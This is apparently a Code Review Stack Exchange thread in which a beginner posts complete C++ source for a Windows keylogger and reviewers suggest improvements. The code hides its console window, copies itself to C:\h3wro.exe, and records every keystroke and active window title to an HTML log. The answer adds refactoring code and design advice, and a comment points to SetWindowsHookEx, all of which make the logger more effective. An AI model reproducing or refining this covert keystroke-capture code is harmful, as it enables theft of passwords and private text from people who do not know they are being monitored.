10
\$\begingroup\$

I am newbie (here and in C/C++ - WinAPI) so I want to ask you, what you think about my Windows Keylogger in C++? I've worked on it a few days.

Features of keylogger for now:

  • Self-copying to C:\ directory
  • Saving keystrokes to an .html file
  • Working in background

My questions:

  • Are names of variables are correct?
  • What can I do to improve getting foreground window (actually not always works)?

h3wroKeylogger.cpp

#include <windows.h>
#include <iostream>
#include <string>
#include <fstream>
#include <ctime>
#include <shlobj.h>
HWND hCurrentWindow;
char sWindowTitle[256];
bool is_capslock = false;
int iBackspaceCounter = 0;
int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
time_t t = time(0);
if (hCurrentWindow != GetForegroundWindow())
{
 hCurrentWindow = GetForegroundWindow();
 char title[256];
 GetWindowTextA(hCurrentWindow, title, sizeof(title));
 sLogs += "<font size=\"3\"><br><br><b>";
 sLogs += asctime(localtime(&t));
 sLogs += "<br>Window name: ";
 sLogs += title;
 sLogs += "]</b><br></font>";
}
if ((GetAsyncKeyState(VK_CAPITAL) & 0x0001) != 0) {
 is_capslock = true;
}
switch (key) {
case 1:
 return 0;
 break;
case 2:
 return 0;
 break;
 //-----------------------------------------------------------------------
 //End of mouse
 //-----------------------------------------------------------------------
case 96:
 iBackspaceCounter = 0;
 sLogs += "0";
 break;
case 97:
 iBackspaceCounter = 0;
 sLogs += "1";
 break;
case 98:
 iBackspaceCounter = 0;
 sLogs += "2";
 break;
case 99:
 iBackspaceCounter = 0;
 sLogs += "3";
 break;
case 100:
 iBackspaceCounter = 0;
 sLogs += "4";
 break;
case 101:
 iBackspaceCounter = 0;
 sLogs += "5";
 break;
case 102:
 iBackspaceCounter = 0;
 sLogs += "6";
 break;
case 103:
 iBackspaceCounter = 0;
 sLogs += "7";
 break;
case 104:
 iBackspaceCounter = 0;
 sLogs += "8";
 break;
case 105:
 iBackspaceCounter = 0;
 sLogs += "9";
 break;
 //-----------------------------------------------------------------------
 //End of numpad digits
 //-----------------------------------------------------------------------
case 48:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += ")";
 }
 else
 sLogs += "0";
 break;
case 49:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "!";
 }
 else
 sLogs += "1";
 break;
case 50:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "@";
 }
 else
 sLogs += "2";
 break;
case 51:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "#";
 }
 else
 sLogs += "3";
 break;
case 52:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "$";
 }
 else
 sLogs += "4";
 break;
case 53:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "%";
 }
 else
 sLogs += "5";
 break;
case 54:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "^";
 }
 else
 sLogs += "6";
 break;
case 55:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "&";
 }
 else
 sLogs += "7";
 break;
case 56:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "*";
 }
 else
 sLogs += "8";
 break;
case 57:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "(";
 }
 else
 sLogs += "9";
 break;
 //-----------------------------------------------------------------------
 //End of digits
 //-----------------------------------------------------------------------
case 65:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#260";
 }
 else
 sLogs += "A";
 }
 else {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#261";
 }
 else
 sLogs += "a";
 }
 break;
case 66:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "B";
 }
 else
 sLogs += "b";
 break;
case 67:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#262";
 }
 else {
 sLogs += "C";
 }
 }
 else {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#263";
 }
 else {
 sLogs += "c";
 }
 }
 break;
case 68:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "D";
 }
 else
 sLogs += "d";
 break;
case 69:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#280";
 }
 else {
 sLogs += "E";
 }
 }
 else {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#281";
 }
 else {
 sLogs += "e";
 }
 }
 break;
case 70:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "F";
 }
 else
 sLogs += "f";
 break;
case 71:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "G";
 }
 else
 sLogs += "g";
 break;
case 72:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "H";
 }
 else
 sLogs += "h";
 break;
case 73:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "I";
 }
 else
 sLogs += "i";
 break;
case 74:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "J";
 }
 else
 sLogs += "j";
 break;
case 75:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "K";
 }
 else
 sLogs += "k";
 break;
case 76:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#321";
 }
 else {
 sLogs += "L";
 }
 }
 else {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&322";
 }
 else {
 sLogs += "l";
 }
 }
 break;
case 77:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "M";
 }
 else
 sLogs += "m";
 break;
case 78:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#323";
 }
 else {
 sLogs += "N";
 }
 break;
 }
 else {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#324";
 }
 else {
 sLogs += "n";
 }
 }
 break;
case 79:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#211";
 }
 else {
 sLogs += "O";
 }
 break;
 }
 else {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#243";
 }
 else {
 sLogs += "o";
 }
 }
 break;
case 80:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "P";
 break;
 }
 else
 sLogs += "p";
 break;
case 81:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "Q";
 break;
 }
 else
 sLogs += "q";
 break;
case 82:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "R";
 break;
 }
 else
 sLogs += "r";
 break;
case 83:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#346";
 }
 else {
 sLogs += "S";
 }
 break;
 }
 else {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#347";
 }
 else {
 sLogs += "s";
 }
 }
 break;
case 84:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "T";
 break;
 }
 else
 sLogs += "t";
 break;
case 85:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "U";
 break;
 }
 else {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "€";
 }
 else {
 sLogs += "u";
 }
 }
 break;
case 86:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "V";
 break;
 }
 else
 sLogs += "v";
 break;
case 87:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "W";
 break;
 }
 else
 sLogs += "w";
 break;
case 88:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#377";
 }
 else {
 sLogs += "X";
 }
 break;
 }
 else {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#378";
 }
 else {
 sLogs += "x";
 }
 }
 break;
case 89:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "Y";
 break;
 }
 else
 sLogs += "y";
 break;
case 90:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#379";
 }
 else {
 sLogs += "Z";
 }
 break;
 }
 else {
 if (GetAsyncKeyState(VK_MENU)) {
 sLogs += "&#380";
 }
 else {
 sLogs += "z";
 }
 }
 //-----------------------------------------------------------------------
 //End of A-Z characters
 //-----------------------------------------------------------------------
case 13:
 iBackspaceCounter = 0;
 sLogs += "\n";
 break;
case 20:
 iBackspaceCounter = 0;
 if (is_capslock == false) {
 is_capslock = true;
 sLogs += "<font size=\"1\">[CapsLock]</font>";
 }
 else {
 is_capslock = false;
 sLogs += "<font size=\"1\">[/CapsLock]</font>";
 }
 break;
case VK_BACK:
 iBackspaceCounter += 1;
 sLogs += "<font size=\"1\">[";
 sLogs += iBackspaceCounter + '0';
 sLogs += "x";
 sLogs += "Backspace]</font>";
 break;
case VK_SPACE:
 iBackspaceCounter = 0;
 sLogs += " ";
 break;
case VK_MULTIPLY:
 iBackspaceCounter = 0;
 sLogs += "*";
 break;
case VK_ADD:
 iBackspaceCounter = 0;
 sLogs += "+";
 break;
case VK_SUBTRACT:
 iBackspaceCounter = 0;
 sLogs += "-";
 break;
case VK_DECIMAL:
 iBackspaceCounter = 0;
 sLogs += ".";
 break;
case VK_DIVIDE:
 iBackspaceCounter = 0;
 sLogs += "/";
 break;
default:
 break;
}
out_file << sLogs;
out_file.close();
return 0;
}
void stealth() {
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}
using namespace std;
int main(int argc, char * argv[]) {
stealth();
char buffer[MAX_PATH];
::GetModuleFileNameA(NULL, buffer, MAX_PATH);
//It swap / with //
char sPath[MAX_PATH];
int iIndexCounter = 0;
for (int i = 0; i <= MAX_PATH; i++) {
 if (buffer[i] == '\\') {
 sPath[i + iIndexCounter] = '\\';
 iIndexCounter += 1;
 sPath[i + iIndexCounter] = '\\';
 continue;
 }
 sPath[i + iIndexCounter] = buffer[i];
}
char sDocumentsPath[MAX_PATH];
HRESULT result = SHGetFolderPathA(NULL, CSIDL_PERSONAL, NULL, 0, sDocumentsPath);
char sDocumentsPathResult[MAX_PATH];
//It swap / with //
int iIndexCounterDoc = 0;
for (int i = 0; i <= MAX_PATH; i++) {
 if (sDocumentsPath[i] == '\\') {
 sDocumentsPathResult[i + iIndexCounterDoc] = '\\';
 iIndexCounterDoc += 1;
 sDocumentsPathResult[i + iIndexCounterDoc] = '\\';
 continue;
 }
 sDocumentsPathResult[i + iIndexCounterDoc] = sDocumentsPath[i];
}
char sCompleteDocPath[MAX_PATH];
strcpy(sCompleteDocPath, sDocumentsPathResult);
//strcpy(sCompleteDocPath, "\\h3wro.exe");
BOOL b = CopyFileA(sPath, "C:\\h3wro.exe", 0);
if (!b) {
 std::cout << "Error: " << GetLastError() << std::endl;
}
else {
 std::cout << "Okay " << std::endl;
}
char i;
while (1) {
 for (i = 8; i <= 190; i++) {
 if (GetAsyncKeyState(i) == -32767)
 save(i);
 }
}
return 0;
}
Jamal
35.2k13 gold badges134 silver badges238 bronze badges
asked Jan 26, 2017 at 13:28
\$\endgroup\$
4
  • 2
    \$\begingroup\$ You are supposing a En-US keyboard layout. In my Spanish-MX keyboard the characters are in different places than what you suppose in your code, so you'll get my logged keystrokes wrong. \$\endgroup\$ Commented Jan 26, 2017 at 17:41
  • 2
    \$\begingroup\$ Why not use SetWindowsHookEx? While(1) and for (i = 8; i <= 190; i++) looks like really odd. \$\endgroup\$ Commented Jan 26, 2017 at 18:30
  • 1
    \$\begingroup\$ @david - I appreciate your edit request, but I rejected it - "If there are spacing issues, it's a good point to address in a code review. Since the edit is not by the OP, I rejected it." I think between your suggestion here and the spacing you corrected, you have a decent answer to post. \$\endgroup\$ Commented Jan 26, 2017 at 18:32
  • \$\begingroup\$ @fernando.reyes Really sorry, I forgot about this. \$\endgroup\$ Commented Jan 26, 2017 at 18:41

1 Answer 1

8
\$\begingroup\$

A few thoughts:

1. Fix your formatting

Code that appears within a function scope should be indented by another set of spaces (tab):

int save(int key)
{
std::ofstream out_file;
out_file.open("logs.html", std::ios_base::app);
std::string sLogs = "";
// ...
}

=>

int save(int key)
{
 std::ofstream out_file;
 out_file.open("logs.html", std::ios_base::app);
 std::string sLogs = "";
 // ...
}

2. Do not use using namespace std;

While that would work in your particular case, it's considered bad practice. Especially when you move out your code to separate header files.

See more details here please:

Why is "using namespace std;" considered bad practice?

Also, you're prefixing your standard classes in use with std:: anyways.

3. C++ offers classes, use them

Instead of using global variables, encapsulate your stateful data in a class:

 class MyKeyLogger {
 HWND hCurrentWindow;
 char sWindowTitle[256];
 bool is_capslock = false;
 int iBackspaceCounter = 0;
 public:
 int save(int key);
 };

4. Use ofstream efficiently

Opening and closing out_file on every keystroke looks extremely inefficient for me.

With the above mentioned class approach, you could make out_file a member variable, and initialize it once in the constructor:

 class MyKeyLogger {
 // ...
 std::ofstream out_file;
 public:
 MyKeyLogger(std::string logfilename = "logs.html") {
 out_file.open(logfilename , std::ios_base::app);
 }
 // ...
 };

In the save() function, it's enough to call out_file.flush(); to update the file then, instead of closing the stream.

5. Avoid large switch() statements / if() else if() cascades

Such kind of code is hard to read and maintain consistently.

Also I've seen that you're repeating a lot of boiler plate code, for numerous cases, e.g.:

case 66:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "B";
 }
 else
 sLogs += "b";
 break;
// ...
case 68:
 iBackspaceCounter = 0;
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 sLogs += "D";
 }
 else
 sLogs += "d";
 break;

A better approach would be probably to setup a small interface and a set of concrete implementations that handle particular keystrokes uniformely:

struct IKeyStrokeHandler {
 virtual ~IKeyStrokeHandler() {}
 bool handlesKey(int key) const = 0;
 std::string doKeyTranslation(int key) const = 0;
};

// Partial implementation
class AbstractKeyStrokeHandler : public IKeyStrokeHandler {
 class Key;
 std::map<int,Key> handledKeys_; 
protected:
 struct Key {
 string standardRepresentation;
 string shiftRepresentation;
 };
 AbstractKeyStrokeHandler(const std::map<int,Key>& handledKeys) 
 : handledKeys_(handledKeys) {
 }
public:
 bool handlesKey(int key) {
 return (handledKeys_.find(key) != handledKeys_.end());
 }
 // Retrieve the mapped values accordigly
 std::string doKeyTranslation(int key) const {
 if (GetAsyncKeyState(VK_LSHIFT) || GetAsyncKeyState(VK_RSHIFT)) {
 return handledKeys_[key].shiftRepresentation;
 } 
 return handledKeys_[key].standardRepresentation;
 } 
};

// A concrete implemetation for simple key translations
class SimpleKeyStrokeHandler : public AbstractKeyStrokeHandler {
public:
 SimpleKeyStrokeHandler() : AbstractKeyStrokeHandler(
 std::map{ 
 {66, {"b", "B"},
 {68, {"d", "D"},
 } )
 {}
 };

 // Mouse key handler
 class MouseKeyStrokeHandler : public AbstractKeyStrokeHandler {
 public:
 MouseKeyStrokeHandler () : AbstractKeyStrokeHandler(
 std::map{ 
 {0, {"", ""},
 {1, {"", ""},
 } )
 {}
 };

// Special key handler
class SpecialKeyStrokeHandler : public AbstractKeyStrokeHandler {
 int& iBackSpaceCounter_;
public:
 SpecialKeyStrokeHandler(int& iBackSpaceCounter) 
 : AbstractKeyStrokeHandler(
 std::map{ 
 {96, {"0", "0"},
 {97, {"1", "1"},
 // ...
 {105, {"9", "9"},
 } ),
 , iBackSpaceCounter_(iBackSpaceCounter)
 {}
 std::string doKeyTranslation(int key) const {
 iBackSpaceCounter_ = 0;
 return AbstractKeyStrokeHandler::doKeyTranslation(key);
 };

The various key handler implementations could be used in your key logger class like so:

class MyKeylogger {
 std::vector<std::unique_ptr<IKeyStrokeHandler> keyStrokeHandlers;
 MyKeyLogger() {
 keyStrokeHandlers.push_back(std::make_unique<SimpleKeyStrokeHandler>());
 keyStrokeHandlers.push_back(std::make_unique<MouseKeyStrokeHandler>());
 keyStrokeHandlers.push_back(std::make_unique<SpecialKeyStrokeHandler>(iBackspaceCounter));
 }
int save(int key)
{ 
 // ...
 for(const auto& keyStrokeHandler : keyStrokeHandlers) {
 if(keyStrokeHandler->handlesKey(key)) {
 sLogs += keyStrokeHandler->doKeyTranslation(key);
 }
 }
};
answered Jan 26, 2017 at 18:34
\$\endgroup\$
10
  • \$\begingroup\$ I changed using namespace std to using std::cout and using std::endl. Thank you for answer! \$\endgroup\$ Commented Jan 26, 2017 at 18:58
  • 1
    \$\begingroup\$ @h3wro I usually don't bother with typing out these 5 more characters (std::). It's more hassle to keep all your using statements consistent all the time than doing so. \$\endgroup\$ Commented Jan 26, 2017 at 19:36
  • 2
    \$\begingroup\$ @h3wro I think the most important (but even most complex) part of my answer is 5.. You seriously should consider to refactor that tedious switch()/case: mess. \$\endgroup\$ Commented Jan 26, 2017 at 20:33
  • 1
    \$\begingroup\$ @h3wro My proposal was the simplest thing that came to my mind. There will be better design approaches of course. Start thinking OOP and make use of interfaces. \$\endgroup\$ Commented Jan 26, 2017 at 20:40
  • 1
    \$\begingroup\$ @h3wro Ah, OK. As mentioned there are several ways to implement that . IMO the Key mapped implementation cries out for the Flyweight Pattern, and certain Key traits instantiated for particular keyboard layouts as mentioned by [email protected]. \$\endgroup\$ Commented Jan 26, 2017 at 21:11

Your Answer

Draft saved
Draft discarded

Sign up or log in

Sign up using Google
Sign up using Email and Password

Post as a guest

Required, but never shown

Post as a guest

Required, but never shown

By clicking "Post Your Answer", you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.